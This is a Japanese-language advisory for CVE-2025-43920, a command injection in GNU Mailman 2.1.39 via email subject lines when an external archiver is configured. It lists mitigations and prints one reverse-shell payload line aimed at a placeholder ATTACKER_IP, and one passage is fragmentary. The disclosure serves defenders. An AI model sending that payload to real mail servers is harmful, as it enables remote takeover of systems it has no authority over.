
CVE-2025-43920 の概念実証エクスプロイト。GNU Mailman 2.1.39 のメール件名行を介したコマンドインジェクションの脆弱性であり、リモートコード実行とリバースシェルアクセスを可能にします。
発見者: Firudin Davudzada & Musazada Aydan
開示日: 2025年4月
CVE ID: CVE-2025-43920
深刻度: 5.4 中程度 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N)
攻撃タイプ: リモート
影響を受けるソフトウェア: GNU Mailman 2.1.39(cPanel/WHMにバンドル)
GNU Mailman 2.1.39(cPanelおよびWHMにバンドルされたもの)は、認証されていない攻撃者が任意のOSコマンドを実行できる深刻なコマンドインジェクションの脆弱性を抱えています。この脆弱性は、mm_cfg.py設定ファイルでPUBLIC_EXTERNAL_ARCHIVERまたはPRIVATE_EXTERNAL_ARCHIVERを使用して外部アーカイバが設定され、メールの件名行にシェルのメタ文字が含まれているが適切にサニタイズされていない場合に発生します。これにより、システム全体が危険にさらされ、攻撃者はリバースシェルを確立したり、データを外部に持ち出したり、その他の悪意ある行為を行う可能性があります。
PUBLIC_EXTERNAL_ARCHIVER、PRIVATE_EXTERNAL_ARCHIVER)Mailman/Handlers/(メール件名処理ロジック、CookHeaders.pyなどのファイルを含む可能性あり);、&、|)が含まれていると任意のコマンドが実行される可能性があります。この脆弱性を悪用するには、攻撃者はMailman管理のメーリングリストに悪意のある件名行を含むメールを送信します。例:
Subject: ;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
前提条件:
PUBLIC_EXTERNAL_ARCHIVERまたはPRIVATE_EXTERNAL_ARCHIVERを介して外部アーカイバが設定されている必要があります。ATTACKER_IP:4444上でリスナー(例:netcat)をセットアップする必要があります。予想される結果: 外部アーカイバコマンドが件名行をサニタイズしない場合、悪意のあるコマンドがサーバー上で実行され、攻撃者のサーバーへのリバースシェルが確立されます。
外部アーカイバの無効化: mm_cfg.pyでPUBLIC_EXTERNAL_ARCHIVERとPRIVATE_EXTERNAL_ARCHIVERをNoneに設定して外部アーカイバ機能を無効にします。
PUBLIC_EXTERNAL_ARCHIVER = None
PRIVATE_EXTERNAL_ARCHIVER = None
入力のサニタイズ: 外部アーカイバが必要な場合は、コマンドが件名行をサニタイズしてシェルメタ文字の注入を防ぐようにします。
購読の制限: メーリングリストの購読を信頼できるユーザーのみに制限し、露出を減らします。
Firudin DavudzadaおよびMusazada Aydanは、許可されたペネトレーションテストの一環として本脆弱性を責任を持って開示しました。調整にご協力いただいたMITRE CVEチームに感謝します。
メール: [email protected]\